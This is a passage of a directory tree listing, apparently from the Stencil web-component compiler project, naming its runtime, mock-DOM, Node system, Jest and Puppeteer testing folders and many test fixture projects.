│ │ ├── create-window.ts
│ │ ├── hydrate-factory.ts
│ │ ├── index.ts
│ │ ├── inspect-element.ts
│ │ ├── patch-dom-implementation.ts
│ │ ├── render-utils.ts
│ │ ├── render.ts
│ │ ├── runtime-log.ts
│ │ └── window-initialize.ts
│ ├── index.ts
│ ├── internal/
│ │ ├── default.ts
│ │ ├── index.ts
│ │ ├── readme.md
│ │ ├── stencil-core/
│ │ │ ├── index.cjs
│ │ │ ├── index.d.ts
│ │ │ ├── index.js
│ │ │ ├── jsx-dev-runtime.cjs
│ │ │ ├── jsx-dev-runtime.d.ts
│ │ │ ├── jsx-dev-runtime.js
│ │ │ ├── jsx-runtime.cjs
│ │ │ ├── jsx-runtime.d.ts
│ │ │ └── jsx-runtime.js
│ │ └── testing/
│ │ ├── jsx-dev-runtime.d.ts
│ │ ├── jsx-dev-runtime.js
│ │ ├── jsx-runtime.d.ts
│ │ └── jsx-runtime.js
│ ├── mock-doc/
│ │ ├── attribute.ts
│ │ ├── comment-node.ts
│ │ ├── console.ts
│ │ ├── constants.ts
│ │ ├── css-style-declaration.ts
│ │ ├── css-style-sheet.ts
│ │ ├── custom-element-registry.ts
│ │ ├── dataset.ts
│ │ ├── document-fragment.ts
│ │ ├── document-type-node.ts
│ │ ├── document.ts
│ │ ├── element.ts
│ │ ├── event.ts
│ │ ├── global.ts
│ │ ├── headers.ts
│ │ ├── history.ts
│ │ ├── index.ts
│ │ ├── intersection-observer.ts
│ │ ├── location.ts
│ │ ├── navigator.ts
│ │ ├── node.ts
│ │ ├── parse-html.ts
│ │ ├── parse-util.ts
│ │ ├── parser.ts
│ │ ├── performance.ts
│ │ ├── request-response.ts
│ │ ├── resize-observer.ts
│ │ ├── selector.ts
│ │ ├── serialize-node.ts
│ │ ├── shadow-root.ts
│ │ ├── storage.ts
│ │ ├── test/
│ │ │ ├── attribute.spec.ts
│ │ │ ├── clone.spec.ts
│ │ │ ├── css-style-declaration.spec.ts
│ │ │ ├── css-style-sheet.spec.ts
│ │ │ ├── custom-elements.spec.ts
│ │ │ ├── dataset.spec.ts
│ │ │ ├── doc-style.spec.ts
│ │ │ ├── document-fragment.spec.ts
│ │ │ ├── element.spec.ts
│ │ │ ├── event.spec.ts
│ │ │ ├── global.spec.ts
│ │ │ ├── headers.spec.ts
│ │ │ ├── html-parse.spec.ts
│ │ │ ├── location.spec.ts
│ │ │ ├── match-media.spec.ts
│ │ │ ├── request-response.spec.ts
│ │ │ ├── selector.spec.ts
│ │ │ ├── serialize-node.spec.ts
│ │ │ ├── shadow-dom-event-bubbling.spec.ts
│ │ │ ├── storage.spec.ts
│ │ │ └── token-list.spec.ts
│ │ ├── third-party/
│ │ │ └── jquery.ts
│ │ ├── token-list.ts
│ │ └── window.ts
│ ├── runtime/
│ │ ├── asset-path.ts
│ │ ├── bootstrap-custom-element.ts
│ │ ├── bootstrap-lazy.ts
│ │ ├── client-hydrate.ts
│ │ ├── connected-callback.ts
│ │ ├── disconnected-callback.ts
│ │ ├── dom-extras.ts
│ │ ├── element.ts
│ │ ├── event-emitter.ts
│ │ ├── fragment.ts
│ │ ├── hmr-component.ts
│ │ ├── host-listener.ts
│ │ ├── index.ts
│ │ ├── initialize-component.ts
│ │ ├── mixin.ts
│ │ ├── mode.ts
│ │ ├── nonce.ts
│ │ ├── parse-property-value.ts
│ │ ├── platform-options.ts
│ │ ├── profile.ts
│ │ ├── proxy-component.ts
│ │ ├── readme.md
│ │ ├── render.ts
│ │ ├── runtime-constants.ts
│ │ ├── set-value.ts
│ │ ├── slot-polyfill-utils.ts
│ │ ├── styles.ts
│ │ ├── tag-transform.ts
│ │ ├── test/
│ │ │ ├── assets.spec.tsx
│ │ │ ├── attr-deserialize.spec.tsx
│ │ │ ├── attr-prop-prefix.spec.tsx
│ │ │ ├── attr.spec.tsx
│ │ │ ├── before-each.spec.tsx
│ │ │ ├── bootstrap-lazy.spec.tsx
│ │ │ ├── client-hydrate-to-vdom.spec.tsx
│ │ │ ├── component-class.spec.tsx
│ │ │ ├── component-error-handling.spec.tsx
│ │ │ ├── dom-extras.spec.tsx
│ │ │ ├── element.spec.tsx
│ │ │ ├── event.spec.tsx
│ │ │ ├── extends-basic.spec.tsx
│ │ │ ├── fetch.spec.tsx
│ │ │ ├── fixtures/
│ │ │ │ ├── cmp-a.css
│ │ │ │ ├── cmp-a.tsx
│ │ │ │ ├── cmp-asset.tsx
│ │ │ │ └── utils.ts
│ │ │ ├── globals.spec.tsx
│ │ │ ├── host.spec.tsx
│ │ │ ├── hydrate-no-encapsulation.spec.tsx
│ │ │ ├── hydrate-prop.spec.tsx
│ │ │ ├── hydrate-scoped.spec.tsx
│ │ │ ├── hydrate-shadow-child.spec.tsx
│ │ │ ├── hydrate-shadow-in-shadow.spec.tsx
│ │ │ ├── hydrate-shadow-parent.spec.tsx
│ │ │ ├── hydrate-shadow.spec.tsx
│ │ │ ├── hydrate-slot-fallback.spec.tsx
│ │ │ ├── hydrate-slotted-content-order.spec.tsx
│ │ │ ├── hydrate-style-element.spec.tsx
│ │ │ ├── initialize-component.spec.tsx
│ │ │ ├── jsx.spec.tsx
│ │ │ ├── lifecycle-async.spec.tsx
│ │ │ ├── lifecycle-sync.spec.tsx
│ │ │ ├── listen.spec.tsx
│ │ │ ├── method.spec.tsx
│ │ │ ├── mixin.spec.tsx
│ │ │ ├── parse-property-value.spec.ts
│ │ │ ├── prop-serialize.spec.tsx
│ │ │ ├── prop-warnings.spec.tsx
│ │ │ ├── prop.spec.tsx
│ │ │ ├── queue.spec.tsx
│ │ │ ├── regression-json-string-non-parsing.spec.tsx
│ │ │ ├── render-text.spec.tsx
│ │ │ ├── render-vdom.spec.tsx
│ │ │ ├── scoped.spec.tsx
│ │ │ ├── shadow.spec.tsx
│ │ │ ├── state.spec.tsx
│ │ │ ├── style.spec.tsx
│ │ │ ├── svg-element.spec.tsx
│ │ │ ├── tsconfig.json
│ │ │ ├── update-component.spec.tsx
│ │ │ ├── vdom-relocation.spec.tsx
│ │ │ └── watch.spec.tsx
│ │ ├── update-component.ts
│ │ └── vdom/
│ │ ├── h.ts
│ │ ├── jsx-dev-runtime.ts
│ │ ├── jsx-runtime.ts
│ │ ├── set-accessor.ts
│ │ ├── test/
│ │ │ ├── __snapshots__/
│ │ │ │ └── vdom-annotations.spec.tsx.snap
│ │ │ ├── attributes.spec.ts
│ │ │ ├── event-listeners.spec.ts
│ │ │ ├── h.spec.ts
│ │ │ ├── is-same-vnode.spec.ts
│ │ │ ├── jsx-runtime.spec.ts
│ │ │ ├── patch-svg.spec.ts
│ │ │ ├── patch.spec.ts
│ │ │ ├── scoped-slot.spec.tsx
│ │ │ ├── set-accessor.spec.ts
│ │ │ ├── tsconfig.json
│ │ │ ├── update-element.spec.ts
│ │ │ ├── util.spec.ts
│ │ │ ├── vdom-annotations.spec.tsx
│ │ │ └── vdom-render.spec.tsx
│ │ ├── update-element.ts
│ │ ├── util.ts
│ │ ├── vdom-annotations.ts
│ │ └── vdom-render.ts
│ ├── screenshot/
│ │ ├── connector-base.ts
│ │ ├── connector-local.ts
│ │ ├── index.ts
│ │ ├── pixel-match.ts
│ │ ├── screenshot-compare.ts
│ │ └── screenshot-fs.ts
│ ├── sys/
│ │ └── node/
│ │ ├── bundles/
│ │ │ ├── autoprefixer.js
│ │ │ ├── glob.js
│ │ │ ├── graceful-fs.js
│ │ │ ├── node-fetch.js
│ │ │ └── prompts.js
│ │ ├── index.ts
│ │ ├── logger/
│ │ │ ├── index.ts
│ │ │ ├── terminal-logger.ts
│ │ │ └── test/
│ │ │ └── terminal-logger.spec.ts
│ │ ├── node-copy-tasks.ts
│ │ ├── node-fs-promisify.ts
│ │ ├── node-lazy-require.ts
│ │ ├── node-resolve-module.ts
│ │ ├── node-setup-process.ts
│ │ ├── node-stencil-version-checker.ts
│ │ ├── node-sys.ts
│ │ ├── node-worker-controller.ts
│ │ ├── node-worker-main.ts
│ │ ├── node-worker-thread.ts
│ │ ├── public.ts
│ │ ├── test/
│ │ │ ├── node-lazy-require.spec.ts
│ │ │ ├── test-worker-main.ts
│ │ │ ├── tsconfig.json
│ │ │ └── worker-manager.spec.ts
│ │ └── worker.ts
│ ├── testing/
│ │ ├── index.ts
│ │ ├── jest/
│ │ │ ├── README.md
│ │ │ ├── install-dependencies.mts
│ │ │ ├── jest-27-and-under/
│ │ │ │ ├── jest-config.ts
│ │ │ │ ├── jest-environment.ts
│ │ │ │ ├── jest-facade.ts
│ │ │ │ ├── jest-preprocessor.ts
│ │ │ │ ├── jest-preset.ts
│ │ │ │ ├── jest-runner.ts
│ │ │ │ ├── jest-screenshot.ts
│ │ │ │ ├── jest-serializer.ts
│ │ │ │ ├── jest-setup-test-framework.ts
│ │ │ │ ├── matchers/
│ │ │ │ │ ├── attributes.ts
│ │ │ │ │ ├── class-list.ts
│ │ │ │ │ ├── events.ts
│ │ │ │ │ ├── html.ts
│ │ │ │ │ ├── index.ts
│ │ │ │ │ ├── screenshot.ts
│ │ │ │ │ └── text.ts
│ │ │ │ ├── package.json
│ │ │ │ └── test/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── jest-serializer.spec.ts.snap
│ │ │ │ ├── jest-config.spec.ts
│ │ │ │ ├── jest-preprocessor.spec.ts
│ │ │ │ ├── jest-runner.spec.ts
│ │ │ │ ├── jest-serializer.spec.ts
│ │ │ │ ├── jest-setup-test-framework.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ ├── jest-28/
│ │ │ │ ├── jest-config.ts
│ │ │ │ ├── jest-environment.ts
│ │ │ │ ├── jest-facade.ts
│ │ │ │ ├── jest-preprocessor.ts
│ │ │ │ ├── jest-preset.ts
│ │ │ │ ├── jest-runner.ts
│ │ │ │ ├── jest-screenshot.ts
│ │ │ │ ├── jest-serializer.ts
│ │ │ │ ├── jest-setup-test-framework.ts
│ │ │ │ ├── matchers/
│ │ │ │ │ ├── attributes.ts
│ │ │ │ │ ├── class-list.ts
│ │ │ │ │ ├── events.ts
│ │ │ │ │ ├── html.ts
│ │ │ │ │ ├── index.ts
│ │ │ │ │ ├── screenshot.ts
│ │ │ │ │ └── text.ts
│ │ │ │ ├── package.json
│ │ │ │ └── test/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── jest-serializer.spec.ts.snap
│ │ │ │ ├── jest-config.spec.ts
│ │ │ │ ├── jest-preprocessor.spec.ts
│ │ │ │ ├── jest-runner.spec.ts
│ │ │ │ ├── jest-serializer.spec.ts
│ │ │ │ ├── jest-setup-test-framework.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ ├── jest-29/
│ │ │ │ ├── jest-config.ts
│ │ │ │ ├── jest-environment.ts
│ │ │ │ ├── jest-facade.ts
│ │ │ │ ├── jest-preprocessor.ts
│ │ │ │ ├── jest-preset.ts
│ │ │ │ ├── jest-runner.ts
│ │ │ │ ├── jest-screenshot.ts
│ │ │ │ ├── jest-serializer.ts
│ │ │ │ ├── jest-setup-test-framework.ts
│ │ │ │ ├── matchers/
│ │ │ │ │ ├── attributes.ts
│ │ │ │ │ ├── class-list.ts
│ │ │ │ │ ├── events.ts
│ │ │ │ │ ├── html.ts
│ │ │ │ │ ├── index.ts
│ │ │ │ │ ├── screenshot.ts
│ │ │ │ │ └── text.ts
│ │ │ │ ├── package.json
│ │ │ │ └── test/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── jest-serializer.spec.ts.snap
│ │ │ │ ├── jest-config.spec.ts
│ │ │ │ ├── jest-preprocessor.spec.ts
│ │ │ │ ├── jest-runner.spec.ts
│ │ │ │ ├── jest-serializer.spec.ts
│ │ │ │ ├── jest-setup-test-framework.spec.ts
│ │ │ │ └── tsconfig.json
│ │ │ ├── jest-apis.ts
│ │ │ ├── jest-facade.ts
│ │ │ ├── jest-stencil-connector.ts
│ │ │ └── test/
│ │ │ └── jest-stencil-connector.spec.ts
│ │ ├── mock-fetch.ts
│ │ ├── mocks.ts
│ │ ├── platform/
│ │ │ ├── index.ts
│ │ │ ├── load-module.ts
│ │ │ ├── testing-build.ts
│ │ │ ├── testing-constants.ts
│ │ │ ├── testing-host-ref.ts
│ │ │ ├── testing-log.ts
│ │ │ ├── testing-platform.ts
│ │ │ ├── testing-task-queue.ts
│ │ │ └── testing-window.ts
│ │ ├── puppeteer/
│ │ │ ├── index.ts
│ │ │ ├── puppeteer-browser.ts
│ │ │ ├── puppeteer-declarations.ts
│ │ │ ├── puppeteer-element.ts
│ │ │ ├── puppeteer-emulate.ts
│ │ │ ├── puppeteer-events.ts
│ │ │ ├── puppeteer-page.ts
│ │ │ ├── puppeteer-screenshot.ts
│ │ │ └── test/
│ │ │ └── puppeteer-screenshot.spec.ts
│ │ ├── reset-build-conditionals.ts
│ │ ├── spec-page.ts
│ │ ├── test/
│ │ │ ├── __fixtures__/
│ │ │ │ └── cmp.tsx
│ │ │ ├── functional.spec.tsx
│ │ │ ├── testing-utils.spec.ts
│ │ │ └── tsconfig.json
│ │ ├── test-transpile.ts
│ │ ├── testing-logger.ts
│ │ ├── testing-sys.ts
│ │ ├── testing-utils.ts
│ │ ├── testing.ts
│ │ └── tsconfig.internal.json
│ ├── utils/
│ │ ├── byte-size.ts
│ │ ├── constants.ts
│ │ ├── es2022-rewire-class-members.ts
│ │ ├── format-component-runtime-meta.ts
│ │ ├── get-prop-descriptor.ts
│ │ ├── helpers.ts
│ │ ├── index.ts
│ │ ├── is-glob.ts
│ │ ├── is-root-path.ts
│ │ ├── local-value.ts
│ │ ├── logger/
│ │ │ ├── logger-rollup.ts
│ │ │ ├── logger-typescript.ts
│ │ │ └── logger-utils.ts
│ │ ├── message-utils.ts
│ │ ├── output-target.ts
│ │ ├── path.ts
│ │ ├── query-nonce-meta-tag-content.ts
│ │ ├── regular-expression.ts
│ │ ├── remote-value.ts
│ │ ├── result.ts
│ │ ├── serialize.ts
│ │ ├── shadow-css.ts
│ │ ├── shadow-root.ts
│ │ ├── sourcemaps.ts
│ │ ├── style.ts
│ │ ├── test/
│ │ │ ├── helpers.spec.ts
│ │ │ ├── is-root-path.spec.ts
│ │ │ ├── message-utils.spec.ts
│ │ │ ├── output-target.spec.ts
│ │ │ ├── path.spec.ts
│ │ │ ├── query-nonce-meta-tag-content.spec.ts
│ │ │ ├── regular-expression.spec.ts
│ │ │ ├── result.spec.ts
│ │ │ ├── scope-css.spec.ts
│ │ │ ├── serialize.spec.ts
│ │ │ ├── sourcemaps.spec.ts
│ │ │ ├── tsconfig.json
│ │ │ ├── url-paths.spec.ts
│ │ │ ├── util.spec.ts
│ │ │ └── validation.spec.ts
│ │ ├── types.ts
│ │ ├── url-paths.ts
│ │ ├── util.ts
│ │ └── validation.ts
│ └── version.ts
├── test/
│ ├── .npmrc
│ ├── .scripts/
│ │ ├── analysis.js
│ │ └── file-size-profile.js
│ ├── browser-compile/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── compiler.worker.ts
│ │ │ ├── components/
│ │ │ │ └── app-root/
│ │ │ │ ├── app-root.css
│ │ │ │ └── app-root.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ ├── preview.html
│ │ │ └── utils/
│ │ │ ├── css-template-plugin.ts
│ │ │ ├── load-deps.ts
│ │ │ └── templates.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── bundle-size/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── test-component/
│ │ │ │ └── test-component.tsx
│ │ │ └── components.d.ts
│ │ ├── stencil.config.ts
│ │ ├── test-bundle-size.js
│ │ └── tsconfig.json
│ ├── bundler/
│ │ ├── component-library/
│ │ │ ├── .gitignore
│ │ │ ├── README.md
│ │ │ ├── package.json
│ │ │ ├── src/
│ │ │ │ ├── components/
│ │ │ │ │ └── my-component/
│ │ │ │ │ ├── my-component.css
│ │ │ │ │ ├── my-component.tsx
│ │ │ │ │ └── readme.md
│ │ │ │ ├── components.d.ts
│ │ │ │ ├── index.html
│ │ │ │ ├── index.ts
│ │ │ │ └── utils/
│ │ │ │ └── utils.ts
│ │ │ ├── stencil.config.ts
│ │ │ └── tsconfig.json
│ │ ├── karma-stencil-utils.ts
│ │ ├── karma.config.ts
│ │ ├── package.json
│ │ ├── readme.md
│ │ ├── tsconfig.json
│ │ └── vite-bundle-test/
│ │ ├── .gitignore
│ │ ├── README.md
│ │ ├── index.html
│ │ ├── index.js
│ │ ├── package.json
│ │ └── vite-bundle.spec.ts
│ ├── copy-task/
│ │ ├── README.md
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components.d.ts
│ │ │ └── utils/
│ │ │ ├── __fixtures__/
│ │ │ │ └── foobar.json
│ │ │ ├── __mocks__/
│ │ │ │ └── foo.js
│ │ │ ├── desktop.ini
│ │ │ ├── utils.spec.ts
│ │ │ └── utils.ts
│ │ ├── stencil.config.ts
│ │ ├── tsconfig.json
│ │ └── validate.mts
│ ├── docs-json/
│ │ ├── custom-elements-manifest.json
│ │ ├── docs.d.ts
│ │ ├── docs.json
│ │ ├── package.json
│ │ ├── readme.md
│ │ ├── scripts/
│ │ │ └── postprocess.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── interfaces.ts
│ │ │ │ ├── my-component/
│ │ │ │ │ ├── imported-interface.ts
│ │ │ │ │ ├── my-component.ios.css
│ │ │ │ │ ├── my-component.md.css
│ │ │ │ │ └── my-component.tsx
│ │ │ │ └── test-not-used.ts
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ └── index.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── docs-readme/
│ │ ├── custom-readme-output/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme.md
│ │ ├── custom-readme-output-overwrite/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ ├── readme-supplemental.md
│ │ │ └── readme.md
│ │ ├── custom-readme-output-overwrite-if-missing-missing/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme-supplemental.md
│ │ ├── custom-readme-output-overwrite-if-missing-not-missing/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme.md
│ │ ├── custom-readme-output-overwrite-never/
│ │ │ └── components/
│ │ │ └── styleurls-component/
│ │ │ └── readme.md
│ │ ├── package.json
│ │ ├── readme.md
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── styleurls-component/
│ │ │ │ ├── one.scss
│ │ │ │ ├── readme.md
│ │ │ │ ├── styleurls-component.tsx
│ │ │ │ └── two.scss
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ └── index.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── end-to-end/
│ │ ├── .gitignore
│ │ ├── benchmark-compile-time.js
│ │ ├── benchmark-results.json
│ │ ├── benchmark-results.md
│ │ ├── custom-elements-manifest.json
│ │ ├── exportMap/
│ │ │ ├── index.js
│ │ │ └── index.mts
│ │ ├── package.json
│ │ ├── screenshot/
│ │ │ └── .gitignore
│ │ ├── src/
│ │ │ ├── app-root/
│ │ │ │ ├── app-root.e2e.ts
│ │ │ │ ├── app-root.tsx
│ │ │ │ ├── interfaces.d.ts
│ │ │ │ ├── no-component.e2e.ts
│ │ │ │ └── readme.md
│ │ │ ├── build-data/
│ │ │ │ ├── build-data.e2e.ts
│ │ │ │ ├── build-data.spec.ts
│ │ │ │ ├── build-data.tsx
│ │ │ │ └── readme.md
│ │ │ ├── car-detail/
│ │ │ │ ├── assets-a/
│ │ │ │ │ └── file-1.txt
│ │ │ │ ├── car-detail.tsx
│ │ │ │ └── readme.md
│ │ │ ├── car-list/
│ │ │ │ ├── assets-a/
│ │ │ │ │ └── file-2.txt
│ │ │ │ ├── car-data.ts
│ │ │ │ ├── car-list.css
│ │ │ │ ├── car-list.e2e.ts
│ │ │ │ ├── car-list.tsx
│ │ │ │ └── readme.md
│ │ │ ├── components.d.ts
│ │ │ ├── declarative-shadow-dom/
│ │ │ │ ├── __snapshots__/
│ │ │ │ │ └── test.e2e.ts.snap
│ │ │ │ ├── another-car-detail.css
│ │ │ │ ├── another-car-detail.tsx
│ │ │ │ ├── another-car-list.css
│ │ │ │ ├── another-car-list.tsx
│ │ │ │ ├── cmp-dsd-focus.tsx
│ │ │ │ ├── cmp-dsd.css
│ │ │ │ ├── cmp-dsd.tsx
│ │ │ │ ├── cmp-with-slot.tsx
│ │ │ │ ├── dsd-listen-cmp.css
│ │ │ │ ├── dsd-listen-cmp.tsx
│ │ │ │ ├── nested-child-cmp.css
│ │ │ │ ├── nested-child-cmp.tsx
│ │ │ │ ├── nested-scope-cmp.css
│ │ │ │ ├── nested-scope-cmp.tsx
│ │ │ │ ├── parent-cmp.css
│ │ │ │ ├── parent-cmp.tsx
│ │ │ │ ├── readme.md
│ │ │ │ ├── scoped-car-detail.tsx
│ │ │ │ ├── scoped-car-list.tsx
│ │ │ │ ├── server-vs-client.tsx
│ │ │ │ ├── ssr-shadow-cmp.tsx
│ │ │ │ ├── test.e2e.ts
│ │ │ │ └── wrap-ssr-shadow-cmp.tsx
│ │ │ ├── deep-selector/
│ │ │ │ ├── cmpA.tsx
│ │ │ │ ├── cmpB.tsx
│ │ │ │ ├── cmpC.tsx
│ │ │ │ ├── deep-selector.e2e.ts
│ │ │ │ └── readme.md
│ │ │ ├── dom-api/
│ │ │ │ ├── assets-b/
│ │ │ │ │ └── file-3.txt
│ │ │ │ ├── dom-api.e2e.ts
│ │ │ │ ├── dom-api.tsx
│ │ │ │ └── readme.md
│ │ │ ├── dom-interaction/
│ │ │ │ ├── dom-interaction.e2e.ts
│ │ │ │ ├── dom-interaction.tsx
│ │ │ │ └── readme.md
│ │ │ ├── dom-visible/
│ │ │ │ ├── dom-visible.e2e.ts
│ │ │ │ ├── dom-visible.tsx
│ │ │ │ └── readme.md
│ │ │ ├── element-cmp/
│ │ │ │ ├── element-cmp.e2e.ts
│ │ │ │ ├── element-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── env-data/
│ │ │ │ ├── env-data.e2e.ts
│ │ │ │ ├── env-data.spec.ts
│ │ │ │ ├── env-data.tsx
│ │ │ │ └── readme.md
│ │ │ ├── event-cmp/
│ │ │ │ ├── event-cmp.e2e.ts
│ │ │ │ ├── event-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── global.css
│ │ │ ├── global.ts
│ │ │ ├── hydrate-props/
│ │ │ │ ├── hydrate-props.e2e.ts
│ │ │ │ ├── my-cmp.tsx
│ │ │ │ ├── my-jsx-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── import-assets/
│ │ │ │ ├── assets/
│ │ │ │ │ ├── my-text.txt
│ │ │ │ │ └── whatever.html
│ │ │ │ ├── import-assets.e2e.ts
│ │ │ │ ├── import-assets.tsx
│ │ │ │ └── readme.md
│ │ │ ├── index.html
│ │ │ ├── listen-cmp/
│ │ │ │ ├── listen-cmp.e2e.ts
│ │ │ │ ├── listen-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── method-cmp/
│ │ │ │ ├── method-cmp.e2e.ts
│ │ │ │ ├── method-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── miscellaneous/
│ │ │ │ ├── renderToString.e2e.ts
│ │ │ │ └── test.e2e.ts
│ │ │ ├── non-existent-element/
│ │ │ │ ├── empty-cmp-shadow.tsx
│ │ │ │ ├── empty-cmp.tsx
│ │ │ │ ├── non-existent-element.e2e.ts
│ │ │ │ └── readme.md
│ │ │ ├── path-alias-cmp/
│ │ │ │ ├── path-alias-cmp.tsx
│ │ │ │ ├── path-alias-lib.ts
│ │ │ │ └── readme.md
│ │ │ ├── prerender-cmp/
│ │ │ │ ├── prerender-cmp.css
│ │ │ │ ├── prerender-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── prop-cmp/
│ │ │ │ ├── prop-cmp.e2e.ts
│ │ │ │ ├── prop-cmp.ios.css
│ │ │ │ ├── prop-cmp.md.css
│ │ │ │ ├── prop-cmp.tsx
│ │ │ │ └── readme.md
│ │ │ ├── resolve-var-events/
│ │ │ │ ├── readme.md
│ │ │ │ ├── resolve-var-events.e2e.ts
│ │ │ │ └── resolve-var-events.tsx
│ │ │ ├── scoped-hydration/
│ │ │ │ ├── non-shadow-forwarded-slot.tsx
│ │ │ │ ├── non-shadow-multi-slots.tsx
│ │ │ │ ├── non-shadow-slotted-siblings.tsx
│ │ │ │ ├── non-shadow-wrapper.tsx
│ │ │ │ ├── non-shadow.tsx
│ │ │ │ ├── readme.md
│ │ │ │ ├── scoped-hydration.e2e.ts
│ │ │ │ ├── shadow-wrapper.tsx
│ │ │ │ └── shadow.tsx
│ │ │ ├── slot-cmp/
│ │ │ │ ├── readme.md
│ │ │ │ └── slot-cmp.tsx
│ │ │ ├── slot-cmp-container/
│ │ │ │ ├── readme.md
│ │ │ │ ├── slot-cmp-container.e2e.ts
│ │ │ │ └── slot-cmp-container.tsx
│ │ │ ├── slot-parent-cmp/
│ │ │ │ ├── readme.md
│ │ │ │ └── slot-parent-cmp.tsx
│ │ │ ├── ssr-runtime-decorators/
│ │ │ │ ├── readme.md
│ │ │ │ ├── ssr-runtime-decorators.e2e.ts
│ │ │ │ └── ssr-runtime-decorators.tsx
│ │ │ └── state-cmp/
│ │ │ ├── readme.md
│ │ │ ├── state-cmp.e2e.ts
│ │ │ └── state-cmp.tsx
│ │ ├── stencil.build.config.ts
│ │ ├── stencil.config.ts
│ │ ├── test-end-to-end-dist.js
│ │ ├── test-end-to-end-hydrate.js
│ │ ├── tsconfig.build.json
│ │ └── tsconfig.json
│ ├── hello-vdom/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── hello-vdom.tsx
│ │ │ │ ├── index.ts
│ │ │ │ └── styles.css
│ │ │ ├── components.d.ts
│ │ │ ├── index.html
│ │ │ └── index.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── hello-world/
│ │ ├── package.json
│ │ ├── prerender.config.js
│ │ ├── prerender.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── hello-world.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── hello-world-text.ts
│ │ │ ├── index-module.html
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ ├── tsconfig.json
│ │ └── tsconfig.parent.json
│ ├── ionic-app/
│ │ ├── .gitignore
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── app-home/
│ │ │ │ │ ├── app-home.e2e.ts
│ │ │ │ │ ├── app-home.spec.ts
│ │ │ │ │ └── app-home.tsx
│ │ │ │ ├── app-profile/
│ │ │ │ │ ├── app-profile.e2e.ts
│ │ │ │ │ ├── app-profile.spec.ts
│ │ │ │ │ └── app-profile.tsx
│ │ │ │ └── app-root/
│ │ │ │ ├── app-root.css
│ │ │ │ ├── app-root.e2e.ts
│ │ │ │ ├── app-root.spec.ts
│ │ │ │ └── app-root.tsx
│ │ │ ├── components.d.ts
│ │ │ ├── global/
│ │ │ │ ├── app.css
│ │ │ │ └── app.ts
│ │ │ ├── helpers/
│ │ │ │ └── utils.ts
│ │ │ ├── index.html
│ │ │ └── manifest.json
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── jest-spec-runner/
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── mixed/
│ │ │ │ │ ├── mixed.spec.ts
│ │ │ │ │ └── mixed.tsx
│ │ │ │ ├── simple/
│ │ │ │ │ ├── simple.spec.ts
│ │ │ │ │ └── simple.tsx
│ │ │ │ └── utils/
│ │ │ │ ├── as-js-cjs.js
│ │ │ │ ├── as-js-esm.js
│ │ │ │ ├── as-mjs.mjs
│ │ │ │ ├── as-ts.ts
│ │ │ │ ├── deep-js-cjs.js
│ │ │ │ ├── deep-js-esm.js
│ │ │ │ ├── deep-mjs.mjs
│ │ │ │ └── deep-ts.ts
│ │ │ └── components.d.ts
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── package.json
│ ├── performance/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── prerender.config.js
│ │ ├── prerender.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── my-app.tsx
│ │ │ │ ├── my-item.tsx
│ │ │ │ └── my-list.tsx
│ │ │ ├── components.d.ts
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── prerender-shadow/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── prerender.js
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── cmp-a.tsx
│ │ │ │ ├── cmp-b.tsx
│ │ │ │ ├── cmp-c.tsx
│ │ │ │ ├── cmp-d.css
│ │ │ │ └── cmp-d.tsx
│ │ │ ├── components.d.ts
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── readme.md
│ ├── runtime-benchmark/
│ │ ├── benchmark-results.json
│ │ ├── benchmark-results.md
│ │ ├── benchmark-runtime.js
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ └── perf-rows/
│ │ │ │ └── perf-rows.tsx
│ │ │ ├── components.d.ts
│ │ │ └── index.html
│ │ ├── stencil.config.ts
│ │ └── tsconfig.json
│ ├── style-modes/
│ │ ├── .npmrc
│ │ ├── package.json
│ │ ├── src/
│ │ │ ├── components/
│ │ │ │ ├── app-root/
│ │ │ │ │ ├── app-root.css
│ │ │ │ │ └── app-root.tsx
│ │ │ │ ├── scoped-mode/
│ │ │ │ │ ├── scoped-mode.buford.scss
